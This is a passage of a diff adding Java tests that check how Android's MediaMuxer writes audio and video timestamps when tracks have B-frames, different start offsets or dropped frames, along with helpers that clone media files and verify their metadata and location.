+                    source, true /* has B frames */, outputFilePath, samplesDropSet, null);
+        } finally {
+            new File(outputFilePath).delete();
+        }
+    }
+
+    /**
+     * Test: makes sure if audio/video muxing using MPEG4Writer works with B Frames
+     * when video frames start later than audio.
+     */
+    public void testTimestampsAudioBVideoStartOffsetVideo() throws Exception {
+        Vector<Integer> startOffsetUsVect = new Vector<Integer>();
+        // Video starts at 400000us.
+        startOffsetUsVect.add(400000);
+        // Audio starts at 0us.
+        startOffsetUsVect.add(0);
+        checkTimestampsAudioBVideoDiffStartOffsets(startOffsetUsVect);
+    }
+
+    /**
+     * Test: makes sure if audio/video muxing using MPEG4Writer works with B Frames
+     * when video and audio samples start after zero, video later than audio.
+     */
+    public void testTimestampsAudioBVideoStartOffsetVideoAudio() throws Exception {
+        Vector<Integer> startOffsetUsVect = new Vector<Integer>();
+        // Video starts at 400000us.
+        startOffsetUsVect.add(400000);
+        // Audio starts at 200000us.
+        startOffsetUsVect.add(200000);
+        checkTimestampsAudioBVideoDiffStartOffsets(startOffsetUsVect);
+    }
+
+    /**
+     * Test: makes sure if audio/video muxing using MPEG4Writer works with B Frames
+     * when video and audio samples start after zero, audio later than video.
+     */
+    public void testTimestampsAudioBVideoStartOffsetAudioVideo() throws Exception {
+        if (!MediaUtils.check(mAndroid11, "test needs Android 11")) return;
+
+        Vector<Integer> startOffsetUsVect = new Vector<Integer>();
+        // Video starts at 200000us.
+        startOffsetUsVect.add(200000);
+        // Audio starts at 400000us.
+        startOffsetUsVect.add(400000);
+        checkTimestampsAudioBVideoDiffStartOffsets(startOffsetUsVect);
+    }
+
+    /**
+     * Test: makes sure if audio/video muxing using MPEG4Writer works with B Frames
+     * when video starts after zero and audio starts before zero.
+     */
+    public void testTimestampsAudioBVideoStartOffsetNegativeAudioVideo() throws Exception {
+        if (!MediaUtils.check(mAndroid11, "test needs Android 11")) return;
+
+        Vector<Integer> startOffsetUsVect = new Vector<Integer>();
+        // Video starts at 200000us.
+        startOffsetUsVect.add(200000);
+        // Audio starts at -23220us, multiple of duration of one frame (1024/44100hz)
+        startOffsetUsVect.add(-23220);
+        checkTimestampsAudioBVideoDiffStartOffsets(startOffsetUsVect);
+    }
+
+    /**
+     * Test: makes sure if audio/video muxing using MPEG4Writer works with B Frames when audio
+     * samples start later than video.
+     */
+    public void testTimestampsAudioBVideoStartOffsetAudio() throws Exception {
+        if (!MediaUtils.check(mAndroid11, "test needs Android 11")) return;
+
+        Vector<Integer> startOffsetUsVect = new Vector<Integer>();
+        // Video starts at 0us.
+        startOffsetUsVect.add(0);
+        // Audio starts at 400000us.
+        startOffsetUsVect.add(400000);
+        checkTimestampsAudioBVideoDiffStartOffsets(startOffsetUsVect);
+    }
+
+    /**
+     * Test: make sure if audio/video muxing works good with different start offsets for
+     * audio and video, audio later than video at 0us.
+     */
+    public void testTimestampsStartOffsetAudio() throws Exception {
+        if (!MediaUtils.check(mAndroid11, "test needs Android 11")) return;
+
+        Vector<Integer> startOffsetUsVect = new Vector<Integer>();
+        // Video starts at 0us.
+        startOffsetUsVect.add(0);
+        // Audio starts at 500000us.
+        startOffsetUsVect.add(500000);
+        checkTimestampsWithStartOffsets(startOffsetUsVect);
+    }
+
+    /**
+     * Test: make sure if audio/video muxing works good with different start offsets for
+     * audio and video, video later than audio at 0us.
+     */
+    public void testTimestampsStartOffsetVideo() throws Exception {
+        if (!MediaUtils.check(mAndroid11, "test needs Android 11")) return;
+
+        Vector<Integer> startOffsetUsVect = new Vector<Integer>();
+        // Video starts at 500000us.
+        startOffsetUsVect.add(500000);
+        // Audio starts at 0us.
+        startOffsetUsVect.add(0);
+        checkTimestampsWithStartOffsets(startOffsetUsVect);
+    }
+
+    /**
+     * Test: make sure if audio/video muxing works good with different start offsets for
+     * audio and video, audio later than video, positive offsets for both.
+     */
+    public void testTimestampsStartOffsetVideoAudio() throws Exception {
+        if (!MediaUtils.check(mAndroid11, "test needs Android 11")) return;
+
+        Vector<Integer> startOffsetUsVect = new Vector<Integer>();
+        // Video starts at 250000us.
+        startOffsetUsVect.add(250000);
+        // Audio starts at 500000us.
+        startOffsetUsVect.add(500000);
+        checkTimestampsWithStartOffsets(startOffsetUsVect);
+    }
+
+    /**
+     * Test: make sure if audio/video muxing works good with different start offsets for
+     * audio and video, video later than audio, positive offets for both.
+     */
+    public void testTimestampsStartOffsetAudioVideo() throws Exception {
+        if (!MediaUtils.check(mAndroid11, "test needs Android 11")) return;
+
+        Vector<Integer> startOffsetUsVect = new Vector<Integer>();
+        // Video starts at 500000us.
+        startOffsetUsVect.add(500000);
+        // Audio starts at 250000us.
+        startOffsetUsVect.add(250000);
+        checkTimestampsWithStartOffsets(startOffsetUsVect);
+    }
+
+    /**
+     * Test: make sure if audio/video muxing works good with different start offsets for
+     * audio and video, video later than audio, audio before zero.
+     */
+    public void testTimestampsStartOffsetNegativeAudioVideo() throws Exception {
+        if (!MediaUtils.check(mAndroid11, "test needs Android 11")) return;
+
+        Vector<Integer> startOffsetUsVect = new Vector<Integer>();
+        // Video starts at 50000us.
+        startOffsetUsVect.add(50000);
+        // Audio starts at -23220us, multiple of duration of one frame (1024/44100hz)
+        startOffsetUsVect.add(-23220);
+        checkTimestampsWithStartOffsets(startOffsetUsVect);
+    }
+
+    /**
+     * Test: makes sure if audio/video muxing using MPEG4Writer works with B Frames
+     * when video and audio samples start after different times.
+     */
+    private void checkTimestampsAudioBVideoDiffStartOffsets(Vector<Integer> startOffsetUs)
+            throws Exception {
+        MPEG4CheckTimestampsAudioBVideoDiffStartOffsets(startOffsetUs);
+        // TODO: uncomment webm testing once bugs related to timestamps in webmwriter are fixed.
+        // WebMCheckTimestampsAudioBVideoDiffStartOffsets(startOffsetUsVect);
+    }
+
+    private void MPEG4CheckTimestampsAudioBVideoDiffStartOffsets(Vector<Integer> startOffsetUs)
+            throws Exception {
+        if (VERBOSE) {
+            Log.v(TAG, "MPEG4CheckTimestampsAudioBVideoDiffStartOffsets");
+        }
+        final String source = "video_h264_main_b_frames.mp4";
+        String outputFilePath = File.createTempFile(
+            "MediaMuxerTest_testTimestampsAudioBVideoDiffStartOffsets", ".mp4").getAbsolutePath();
+        try {
+            cloneMediaWithSamplesDropAndStartOffsets(source, outputFilePath,
+                MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4, null, startOffsetUs);
+            verifyTSWithSamplesDropAndStartOffset(
+                    source, true /* has B frames */, outputFilePath, null, startOffsetUs);
+        } finally {
+            new File(outputFilePath).delete();
+        }
+    }
+
+    /*
+     * Check if timestamps are written consistently across all formats supported by MediaMuxer.
+     */
+    private void checkTimestampsWithStartOffsets(Vector<Integer> startOffsetUsVect)
+            throws Exception {
+        MPEG4CheckTimestampsWithStartOffsets(startOffsetUsVect);
+        // TODO: uncomment webm testing once bugs related to timestamps in webmwriter are fixed.
+        // WebMCheckTimestampsWithStartOffsets(startOffsetUsVect);
+        // TODO: need to add other formats, OGG, AAC, AMR
+    }
+
+    /**
+     * Make sure if audio/video muxing using MPEG4Writer works good with different start
+     * offsets for audio and video.
+     */
+    private void MPEG4CheckTimestampsWithStartOffsets(Vector<Integer> startOffsetUsVect)
+            throws Exception {
+        if (VERBOSE) {
+            Log.v(TAG, "MPEG4CheckTimestampsWithStartOffsets");
+        }
+        final String source = "video_480x360_mp4_h264_500kbps_30fps_aac_stereo_128kbps_44100hz.mp4";
+        String outputFilePath =
+            File.createTempFile("MediaMuxerTest_MPEG4CheckTimestampsWithStartOffsets", ".mp4")
+                .getAbsolutePath();
+        try {
+            cloneMediaWithSamplesDropAndStartOffsets(source, outputFilePath,
+                    MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4, null, startOffsetUsVect);
+            verifyTSWithSamplesDropAndStartOffset(
+                    source, false /* no B frames */, outputFilePath, null, startOffsetUsVect);
+        } finally {
+            new File(outputFilePath).delete();
+        }
+    }
+
+    /**
+     * Make sure if audio/video muxing using WebMWriter works good with different start
+     * offsets for audio and video.
+     */
+    private void WebMCheckTimestampsWithStartOffsets(Vector<Integer> startOffsetUsVect)
+            throws Exception {
+        if (VERBOSE) {
+            Log.v(TAG, "WebMCheckTimestampsWithStartOffsets");
+        }
+        final String source =
+                "video_480x360_webm_vp9_333kbps_25fps_vorbis_stereo_128kbps_48000hz.webm";
+        String outputFilePath =
+            File.createTempFile("MediaMuxerTest_WebMCheckTimestampsWithStartOffsets", ".webm")
+                .getAbsolutePath();
+        try {
+            cloneMediaWithSamplesDropAndStartOffsets(source, outputFilePath,
+                    MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM, null, startOffsetUsVect);
+            verifyTSWithSamplesDropAndStartOffset(
+                    source, false /* no B frames */, outputFilePath, null, startOffsetUsVect);
+        } finally {
+            new File(outputFilePath).delete();
+        }
+    }
+
+    /**
+     * Clones a media file and then compares against the source file to make
+     * sure they match.
+     */
+    private void cloneAndVerify(final String srcMedia, String outputMediaFile,
+            int expectedTrackCount, int degrees, int fmt) throws IOException {
+        cloneAndVerify(srcMedia, outputMediaFile, expectedTrackCount, degrees, fmt,
+                Function.identity());
+    }
+
+    /**
+     * Clones a given file using MediaMuxer and verifies the output matches the input.
+     *
+     * <p>See {@link #cloneMediaUsingMuxer} for information about the parameters.
+     */
+    private void cloneAndVerify(final String srcMedia, String outputMediaFile,
+            int expectedTrackCount, int degrees, int fmt,
+            Function<MediaFormat, MediaFormat> muxerInputTrackFormatTransformer)
+            throws IOException {
+        try {
+            cloneMediaUsingMuxer(
+                    srcMedia,
+                    outputMediaFile,
+                    expectedTrackCount,
+                    degrees,
+                    fmt,
+                    muxerInputTrackFormatTransformer);
+            if (fmt == MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4 ||
+                    fmt == MediaMuxer.OutputFormat.MUXER_OUTPUT_3GPP) {
+                verifyAttributesMatch(srcMedia, outputMediaFile, degrees);
+                verifyLocationInFile(outputMediaFile);
+            }
+            // Verify timestamp of all samples.
+            verifyTSWithSamplesDropAndStartOffset(
+                    srcMedia, false /* no B frames */,outputMediaFile, null, null);
+        } finally {
+            new File(outputMediaFile).delete();
+        }
+    }
+
+
+    /**
+     * Clones a given file using MediaMuxer.
+     *
+     * @param srcMedia Input file path passed to extractor
+     * @param dstMediaPath Output file path passed to muxer
+     * @param expectedTrackCount Expected number of tracks in the input file
+     * @param degrees orientation hint in degrees
+     * @param fmt one of the values defined in {@link MediaMuxer.OutputFormat}.
+     * @param muxerInputTrackFormatTransformer Function applied on the MediaMuxer input formats.
+     *                                         If the function returns null for a given MediaFormat,
+     *                                         the corresponding track is discarded and not passed
+     *                                         to MediaMuxer.
+     * @throws IOException if muxer failed to open output file for write.
+     */
+    private void cloneMediaUsingMuxer(
+            final String srcMedia,
+            String dstMediaPath,
+            int expectedTrackCount,
+            int degrees,
+            int fmt,
+            Function<MediaFormat, MediaFormat> muxerInputTrackFormatTransformer)
+            throws IOException {
+        // Set up MediaExtractor to read from the source.
+        AssetFileDescriptor srcFd = getAssetFileDescriptorFor(srcMedia);
+        MediaExtractor extractor = new MediaExtractor();
+        extractor.setDataSource(srcFd.getFileDescriptor(), srcFd.getStartOffset(),
+                srcFd.getLength());
+
+        int trackCount = extractor.getTrackCount();
+        assertEquals("wrong number of tracks", expectedTrackCount, trackCount);
+
+        // Set up MediaMuxer for the destination.
+        MediaMuxer muxer;
+        muxer = new MediaMuxer(dstMediaPath, fmt);
+
+        // Set up the tracks.
+        HashMap<Integer, Integer> indexMap = new HashMap<Integer, Integer>(trackCount);
+        for (int i = 0; i < trackCount; i++) {
+            MediaFormat format = extractor.getTrackFormat(i);
+            MediaFormat muxedFormat = muxerInputTrackFormatTransformer.apply(format);
+            if (muxedFormat != null) {
+                extractor.selectTrack(i);
+                int dstIndex = muxer.addTrack(muxedFormat);
+                indexMap.put(i, dstIndex);
+            }
+        }
+
+        // Copy the samples from MediaExtractor to MediaMuxer.
+        boolean sawEOS = false;
+        int bufferSize = MAX_SAMPLE_SIZE;
+        int frameCount = 0;
+        int offset = 100;
+
+        ByteBuffer dstBuf = ByteBuffer.allocate(bufferSize);
+        BufferInfo bufferInfo = new BufferInfo();
+
+        if (degrees >= 0) {
+            muxer.setOrientationHint(degrees);
+        }
+
+        if (fmt == MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4 ||
+            fmt == MediaMuxer.OutputFormat.MUXER_OUTPUT_3GPP) {
+            // Test setLocation out of bound cases
+            try {
+                muxer.setLocation(BAD_LATITUDE, LONGITUDE);
+                fail("setLocation succeeded with bad argument: [" + BAD_LATITUDE + "," + LONGITUDE
+                    + "]");
+            } catch (IllegalArgumentException e) {
+                // Expected
+            }
+            try {
+                muxer.setLocation(LATITUDE, BAD_LONGITUDE);
+                fail("setLocation succeeded with bad argument: [" + LATITUDE + "," + BAD_LONGITUDE
+                    + "]");
+            } catch (IllegalArgumentException e) {
+                // Expected
+            }
+
+            muxer.setLocation(LATITUDE, LONGITUDE);
+        }
+
+        muxer.start();
+        while (!sawEOS) {
+            bufferInfo.offset = offset;
+            bufferInfo.size = extractor.readSampleData(dstBuf, offset);
+
+            if (bufferInfo.size < 0) {
+                if (VERBOSE) {
+                    Log.d(TAG, "saw input EOS.");
+                }
+                sawEOS = true;
+                bufferInfo.size = 0;
+            } else {
+                bufferInfo.presentationTimeUs = extractor.getSampleTime();
+                bufferInfo.flags = extractor.getSampleFlags();
+                int trackIndex = extractor.getSampleTrackIndex();
+
+                muxer.writeSampleData(indexMap.get(trackIndex), dstBuf,
+                        bufferInfo);
+                extractor.advance();
+
+                frameCount++;
+                if (VERBOSE) {
+                    Log.d(TAG, "Frame (" + frameCount + ") " +
+                            "PresentationTimeUs:" + bufferInfo.presentationTimeUs +
+                            " Flags:" + bufferInfo.flags +
+                            " TrackIndex:" + trackIndex +
+                            " Size(KB) " + bufferInfo.size / 1024);
+                }
+            }
+        }
+
+        muxer.stop();
+        muxer.release();
+        extractor.release();
+        srcFd.close();
+        return;
+    }
+
+    /**
+     * Compares some attributes using MediaMetadataRetriever to make sure the
+     * cloned media file matches the source file.
+     */
+    private void verifyAttributesMatch(final String srcMedia, String testMediaPath,
+            int degrees) throws IOException {
+        AssetFileDescriptor testFd = getAssetFileDescriptorFor(srcMedia);
+
+        MediaMetadataRetriever retrieverSrc = new MediaMetadataRetriever();
+        retrieverSrc.setDataSource(testFd.getFileDescriptor(),
+                testFd.getStartOffset(), testFd.getLength());
+
+        MediaMetadataRetriever retrieverTest = new MediaMetadataRetriever();
+        retrieverTest.setDataSource(testMediaPath);
+
+        String testDegrees = retrieverTest.extractMetadata(
+                MediaMetadataRetriever.METADATA_KEY_VIDEO_ROTATION);
+        if (testDegrees != null) {
+            assertEquals("Different degrees", degrees,
+                    Integer.parseInt(testDegrees));
+        }
+
+        String heightSrc = retrieverSrc.extractMetadata(
+                MediaMetadataRetriever.METADATA_KEY_VIDEO_HEIGHT);
+        String heightTest = retrieverTest.extractMetadata(
+                MediaMetadataRetriever.METADATA_KEY_VIDEO_HEIGHT);
+        assertEquals("Different height", heightSrc,
+                heightTest);
+
+        String widthSrc = retrieverSrc.extractMetadata(
+                MediaMetadataRetriever.METADATA_KEY_VIDEO_WIDTH);
+        String widthTest = retrieverTest.extractMetadata(
+                MediaMetadataRetriever.METADATA_KEY_VIDEO_WIDTH);
+        assertEquals("Different width", widthSrc,
+                widthTest);
+
+        //TODO: need to check each individual track's duration also.
+        String durationSrc = retrieverSrc.extractMetadata(
+                MediaMetadataRetriever.METADATA_KEY_DURATION);
+        String durationTest = retrieverTest.extractMetadata(
+                MediaMetadataRetriever.METADATA_KEY_DURATION);
+        assertEquals("Different duration", durationSrc,
+                durationTest);
+
+        retrieverSrc.release();
+        retrieverTest.release();
+        testFd.close();
+    }
+
+    private void verifyLocationInFile(String fileName) {
+        MediaMetadataRetriever retriever = new MediaMetadataRetriever();
+        retriever.setDataSource(fileName);
+        String location = retriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_LOCATION);
+        assertNotNull("No location information found in file " + fileName, location);
+
+
+        // parsing String location and recover the location information in floats
+        // Make sure the tolerance is very small - due to rounding errors.
+
+        // Trim the trailing slash, if any.
+        int lastIndex = location.lastIndexOf('/');
+        if (lastIndex != -1) {
+            location = location.substring(0, lastIndex);
+        }
+
+        // Get the position of the -/+ sign in location String, which indicates
+        // the beginning of the longitude.
+        int minusIndex = location.lastIndexOf('-');
+        int plusIndex = location.lastIndexOf('+');
+
+        assertTrue("+ or - is not found or found only at the beginning [" + location + "]",
+                (minusIndex > 0 || plusIndex > 0));
+        int index = Math.max(minusIndex, plusIndex);
+
+        float latitude = Float.parseFloat(location.substring(0, index));
+        float longitude = Float.parseFloat(location.substring(index));
+        assertTrue("Incorrect latitude: " + latitude + " [" + location + "]",
+                Math.abs(latitude - LATITUDE) <= TOLERANCE);
+        assertTrue("Incorrect longitude: " + longitude + " [" + location + "]",
+                Math.abs(longitude - LONGITUDE) <= TOLERANCE);
+        retriever.release();
+    }
+
+    /**
+     * Uses 2 MediaExtractor, seeking to the same position, reads the sample and
+     * makes sure the samples match.
+     */
+    private void verifySamplesMatch(final String srcMedia, String testMediaPath, int seekToUs,
+            long offsetTimeUs) throws IOException {
+        AssetFileDescriptor testFd = getAssetFileDescriptorFor(srcMedia);
+        MediaExtractor extractorSrc = new MediaExtractor();
+        extractorSrc.setDataSource(testFd.getFileDescriptor(),
+                testFd.getStartOffset(), testFd.getLength());
+        int trackCount = extractorSrc.getTrackCount();
+        final int videoTrackIndex = 0;
+
+        MediaExtractor extractorTest = new MediaExtractor();
+        extractorTest.setDataSource(testMediaPath);
+
+        assertEquals("wrong number of tracks", trackCount,
+                extractorTest.getTrackCount());
+
+        // Make sure the format is the same and select them
+        for (int i = 0; i < trackCount; i++) {
+            MediaFormat formatSrc = extractorSrc.getTrackFormat(i);
+            MediaFormat formatTest = extractorTest.getTrackFormat(i);
+
+            String mimeIn = formatSrc.getString(MediaFormat.KEY_MIME);
+            String mimeOut = formatTest.getString(MediaFormat.KEY_MIME);
+            if (!(mimeIn.equals(mimeOut))) {
+                fail("format didn't match on track No." + i +
+                        formatSrc.toString() + "\n" + formatTest.toString());
+            }
+            extractorSrc.selectTrack(videoTrackIndex);
+            extractorTest.selectTrack(videoTrackIndex);
+
+            // Pick a time and try to compare the frame.
+            extractorSrc.seekTo(seekToUs, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
+            extractorTest.seekTo(seekToUs + offsetTimeUs, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
+
+            int bufferSize = MAX_SAMPLE_SIZE;
+            ByteBuffer byteBufSrc = ByteBuffer.allocate(bufferSize);
+            ByteBuffer byteBufTest = ByteBuffer.allocate(bufferSize);
+
+            int srcBufSize = extractorSrc.readSampleData(byteBufSrc, 0);
+            int testBufSize = extractorTest.readSampleData(byteBufTest, 0);
+
+            if (!(byteBufSrc.equals(byteBufTest))) {
+                if (VERBOSE) {
+                    Log.d(TAG,
+                            "srcTrackIndex:" + extractorSrc.getSampleTrackIndex()
+                                    + "  testTrackIndex:" + extractorTest.getSampleTrackIndex());
+                    Log.d(TAG,
+                            "srcTSus:" + extractorSrc.getSampleTime()
+                                    + " testTSus:" + extractorTest.getSampleTime());
+                    Log.d(TAG, "srcBufSize:" + srcBufSize + "testBufSize:" + testBufSize);
+                }
+                fail("byteBuffer didn't match");
+            }
+            extractorSrc.unselectTrack(i);
+            extractorTest.unselectTrack(i);
+        }
+        extractorSrc.release();
+        extractorTest.release();
+        testFd.close();
+    }
+
+    /**
+     * Using MediaMuxer and MediaExtractor to mux a media file from another file while skipping
+     * some video frames as in the issues b/63590381 and b/64949961.
+     */
+    private void simulateVideoFramesDropIssuesAndMux(final String srcMedia, String dstMediaPath,
+            int expectedTrackCount, int fmt) throws IOException {
+        // Set up MediaExtractor to read from the source.
+        AssetFileDescriptor srcFd = getAssetFileDescriptorFor(srcMedia);
+        MediaExtractor extractor = new MediaExtractor();
+        extractor.setDataSource(srcFd.getFileDescriptor(), srcFd.getStartOffset(),
+            srcFd.getLength());
+
+        int trackCount = extractor.getTrackCount();
+        assertEquals("wrong number of tracks", expectedTrackCount, trackCount);
+
+        // Set up MediaMuxer for the destination.
+        MediaMuxer muxer;
+        muxer = new MediaMuxer(dstMediaPath, fmt);
+
+        // Set up the tracks.
+        HashMap<Integer, Integer> indexMap = new HashMap<Integer, Integer>(trackCount);
+
+        for (int i = 0; i < trackCount; i++) {
+            extractor.selectTrack(i);
+            MediaFormat format = extractor.getTrackFormat(i);
+            int dstIndex = muxer.addTrack(format);
+            indexMap.put(i, dstIndex);
+        }
+
+        // Copy the samples from MediaExtractor to MediaMuxer.
+        boolean sawEOS = false;
+        int bufferSize = MAX_SAMPLE_SIZE;
+        int sampleCount = 0;
+        int offset = 0;
+        int videoSampleCount = 0;
+        // Counting frame index values starting from 1
+        final int muxAllTypeVideoFramesUntilIndex = 136; // I/P/B frames passed as it is until this
+        final int muxAllTypeVideoFramesFromIndex = 171; // I/P/B frames passed as it is from this
+        final int pFrameBeforeARandomBframeIndex = 137;
+        final int bFrameAfterPFrameIndex = pFrameBeforeARandomBframeIndex+1;
+
+        ByteBuffer dstBuf = ByteBuffer.allocate(bufferSize);
+        BufferInfo bufferInfo = new BufferInfo();
+
+        muxer.start();
+        while (!sawEOS) {
+            bufferInfo.offset = 0;
+            bufferInfo.size = extractor.readSampleData(dstBuf, offset);
+            if (bufferInfo.size < 0) {
+                if (VERBOSE) {
+                    Log.d(TAG, "saw input EOS.");
+                }
+                sawEOS = true;
+                bufferInfo.size = 0;
+            } else {
+                bufferInfo.presentationTimeUs = extractor.getSampleTime();
+                bufferInfo.flags = extractor.getSampleFlags();
+                int trackIndex = extractor.getSampleTrackIndex();
+                // Video track at index 0, skip some video frames while muxing.
+                if (trackIndex == 0) {
+                    ++videoSampleCount;
+                    if (VERBOSE) {
+                        Log.v(TAG, "videoSampleCount : " + videoSampleCount);
+                    }
+                    if (videoSampleCount <= muxAllTypeVideoFramesUntilIndex
+                            || videoSampleCount == bFrameAfterPFrameIndex) {
+                        // Write frame as it is.
+                        muxer.writeSampleData(indexMap.get(trackIndex), dstBuf, bufferInfo);
+                    } else if (videoSampleCount == pFrameBeforeARandomBframeIndex
+                            || videoSampleCount >= muxAllTypeVideoFramesFromIndex) {
+                        // Adjust time stamp for this P frame to a few frames later, say ~5seconds
+                        bufferInfo.presentationTimeUs += OFFSET_TIME_US;
+                        muxer.writeSampleData(indexMap.get(trackIndex), dstBuf, bufferInfo);
+                    } else {
+                        // Skip frames after bFrameAfterPFrameIndex
+                        // and before muxAllTypeVideoFramesFromIndex.
+                        if (VERBOSE) {
+                            Log.i(TAG, "skipped this frame");
+                        }
+                    }
+                } else {
+                    // write audio data as it is continuously
+                    muxer.writeSampleData(indexMap.get(trackIndex), dstBuf, bufferInfo);
+                }
+                extractor.advance();
+                sampleCount++;
+                if (VERBOSE) {
+                    Log.d(TAG, "Frame (" + sampleCount + ") " +
+                            "PresentationTimeUs:" + bufferInfo.presentationTimeUs +
+                            " Flags:" + bufferInfo.flags +
+                            " TrackIndex:" + trackIndex +
+                            " Size(bytes) " + bufferInfo.size );
+                }
+            }
+        }
+
+        muxer.stop();
+        muxer.release();
+        extractor.release();
+        srcFd.close();
+
+        return;
+    }
+
+    /**
+     * Uses two MediaExtractor's and checks whether timestamps of first few and another few
+     *  from last sync frame matches
+     */
+    private void verifyAFewSamplesTimestamp(final String srcMedia, String testMediaPath)
+            throws IOException {
+        final int numFramesTSCheck = 10; // Num frames to be checked for its timestamps
+
+        AssetFileDescriptor srcFd = getAssetFileDescriptorFor(srcMedia);
+        MediaExtractor extractorSrc = new MediaExtractor();
+        extractorSrc.setDataSource(srcFd.getFileDescriptor(),
+            srcFd.getStartOffset(), srcFd.getLength());
+        MediaExtractor extractorTest = new MediaExtractor();
+        extractorTest.setDataSource(testMediaPath);
+
+        int trackCount = extractorSrc.getTrackCount();
+        for (int i = 0; i < trackCount; i++) {
+            MediaFormat format = extractorSrc.getTrackFormat(i);
+            extractorSrc.selectTrack(i);
+            extractorTest.selectTrack(i);
+            if (format.getString(MediaFormat.KEY_MIME).startsWith("video/")) {
+                // Check time stamps for numFramesTSCheck frames from 33333us.
+                checkNumFramesTimestamp(33333, 0, numFramesTSCheck, extractorSrc, extractorTest);
+                // Check time stamps for numFramesTSCheck frames from 9333333 -
+                // sync frame after framedrops at index 172 of video track.
+                checkNumFramesTimestamp(
+                        9333333, OFFSET_TIME_US, numFramesTSCheck, extractorSrc, extractorTest);
+            } else if (format.getString(MediaFormat.KEY_MIME).startsWith("audio/")) {
+                // Check timestamps for all audio frames. Test file has 427 audio frames.
+                checkNumFramesTimestamp(0, 0, 427, extractorSrc, extractorTest);
+            }
+            extractorSrc.unselectTrack(i);
+            extractorTest.unselectTrack(i);
+        }
+
+        extractorSrc.release();
+        extractorTest.release();
+        srcFd.close();
+    }
+
+    private void checkNumFramesTimestamp(long seekTimeUs, long offsetTimeUs, int numFrames,
+            MediaExtractor extractorSrc, MediaExtractor extractorTest) {
+        long srcSampleTimeUs = -1;
+        long testSampleTimeUs = -1;
+        extractorSrc.seekTo(seekTimeUs, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
+        extractorTest.seekTo(seekTimeUs + offsetTimeUs, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
+        while (numFrames-- > 0 ) {
+            srcSampleTimeUs = extractorSrc.getSampleTime();
+            testSampleTimeUs = extractorTest.getSampleTime();
+            if (srcSampleTimeUs == -1 || testSampleTimeUs == -1) {
+                fail("either of tracks reached end of stream");
+            }
+            if ((srcSampleTimeUs + offsetTimeUs) != testSampleTimeUs) {
+                if (VERBOSE) {
+                    Log.d(TAG, "srcTrackIndex:" + extractorSrc.getSampleTrackIndex() +
+                        "  testTrackIndex:" + extractorTest.getSampleTrackIndex());
+                    Log.d(TAG, "srcTSus:" + srcSampleTimeUs + " testTSus:" + testSampleTimeUs);
+                }
+                fail("timestamps didn't match");
+            }
+            extractorSrc.advance();
+            extractorTest.advance();
+        }
+    }
+
+    /**
+     * Using MediaMuxer and MediaExtractor to mux a media file from another file while skipping
+     * 0 or more video frames and desired start offsets for each track.
+     * startOffsetUsVect : order of tracks is the same as in the input file
+     */
+    private void cloneMediaWithSamplesDropAndStartOffsets(final String srcMedia, String dstMediaPath,
+            int fmt, HashSet<Integer> samplesDropSet, Vector<Integer> startOffsetUsVect)
+            throws IOException {
+        // Set up MediaExtractor to read from the source.
+        AssetFileDescriptor srcFd = getAssetFileDescriptorFor(srcMedia);
+        MediaExtractor extractor = new MediaExtractor();
+        extractor.setDataSource(srcFd.getFileDescriptor(), srcFd.getStartOffset(),
+            srcFd.getLength());
+
+        int trackCount = extractor.getTrackCount();
+
+        // Set up MediaMuxer for the destination.
+        MediaMuxer muxer;
+        muxer = new MediaMuxer(dstMediaPath, fmt);
+
+        // Set up the tracks.
+        HashMap<Integer, Integer> indexMap = new HashMap<Integer, Integer>(trackCount);
+
+        int videoTrackIndex = 100;
+        int videoStartOffsetUs = 0;
+        int audioTrackIndex = 100;
+        int audioStartOffsetUs = 0;
+        for (int i = 0; i < trackCount; i++) {
+            extractor.selectTrack(i);
+            MediaFormat format = extractor.getTrackFormat(i);
+            int dstIndex = muxer.addTrack(format);
+            indexMap.put(i, dstIndex);
+            if (format.getString(MediaFormat.KEY_MIME).startsWith("video/")) {
+                videoTrackIndex = i;
+                // Make sure there's an entry for video track.
+                if (startOffsetUsVect != null && (videoTrackIndex < startOffsetUsVect.size())) {
+                    videoStartOffsetUs = startOffsetUsVect.get(videoTrackIndex);
+                }
+            }
+            if (format.getString(MediaFormat.KEY_MIME).startsWith("audio/")) {
+                audioTrackIndex = i;
+                // Make sure there's an entry for audio track.
+                if (startOffsetUsVect != null && (audioTrackIndex < startOffsetUsVect.size())) {
+                    audioStartOffsetUs = startOffsetUsVect.get(audioTrackIndex);
+                }
+            }
+        }
+
+        // Copy the samples from MediaExtractor to MediaMuxer.
+        boolean sawEOS = false;
+        int bufferSize = MAX_SAMPLE_SIZE;
+        int sampleCount = 0;
+        int offset = 0;
+        int videoSampleCount = 0;
+
+        ByteBuffer dstBuf = ByteBuffer.allocate(bufferSize);
+        BufferInfo bufferInfo = new BufferInfo();
+
+        muxer.start();
+        while (!sawEOS) {
+            bufferInfo.offset = 0;
+            bufferInfo.size = extractor.readSampleData(dstBuf, offset);
+            if (bufferInfo.size < 0) {
+                if (VERBOSE) {
+                    Log.d(TAG, "saw input EOS.");
+                }
+                sawEOS = true;
+                bufferInfo.size = 0;
+            } else {
+                bufferInfo.presentationTimeUs = extractor.getSampleTime();
+                bufferInfo.flags = extractor.getSampleFlags();
+                int trackIndex = extractor.getSampleTrackIndex();
+                if (VERBOSE) {
+                    Log.v(TAG, "TrackIndex:" + trackIndex + " PresentationTimeUs:" +
+                                bufferInfo.presentationTimeUs + " Flags:" + bufferInfo.flags +
+                                " Size(bytes)" + bufferInfo.size);
+                }
+                if (trackIndex == videoTrackIndex) {
+                    ++videoSampleCount;
+                    if (VERBOSE) {
+                        Log.v(TAG, "videoSampleCount : " + videoSampleCount);
+                    }
+                    if (samplesDropSet == null || (!samplesDropSet.contains(videoSampleCount))) {
+                        // Write video frame with start offset adjustment.
+                        bufferInfo.presentationTimeUs += videoStartOffsetUs;
+                        muxer.writeSampleData(indexMap.get(trackIndex), dstBuf, bufferInfo);
+                    }
+                    else {
+                        if (VERBOSE) {
+                            Log.v(TAG, "skipped this frame");
+                        }
+                    }
+                } else {
+                    // write audio sample with start offset adjustment.
+                    bufferInfo.presentationTimeUs += audioStartOffsetUs;
+                    muxer.writeSampleData(indexMap.get(trackIndex), dstBuf, bufferInfo);
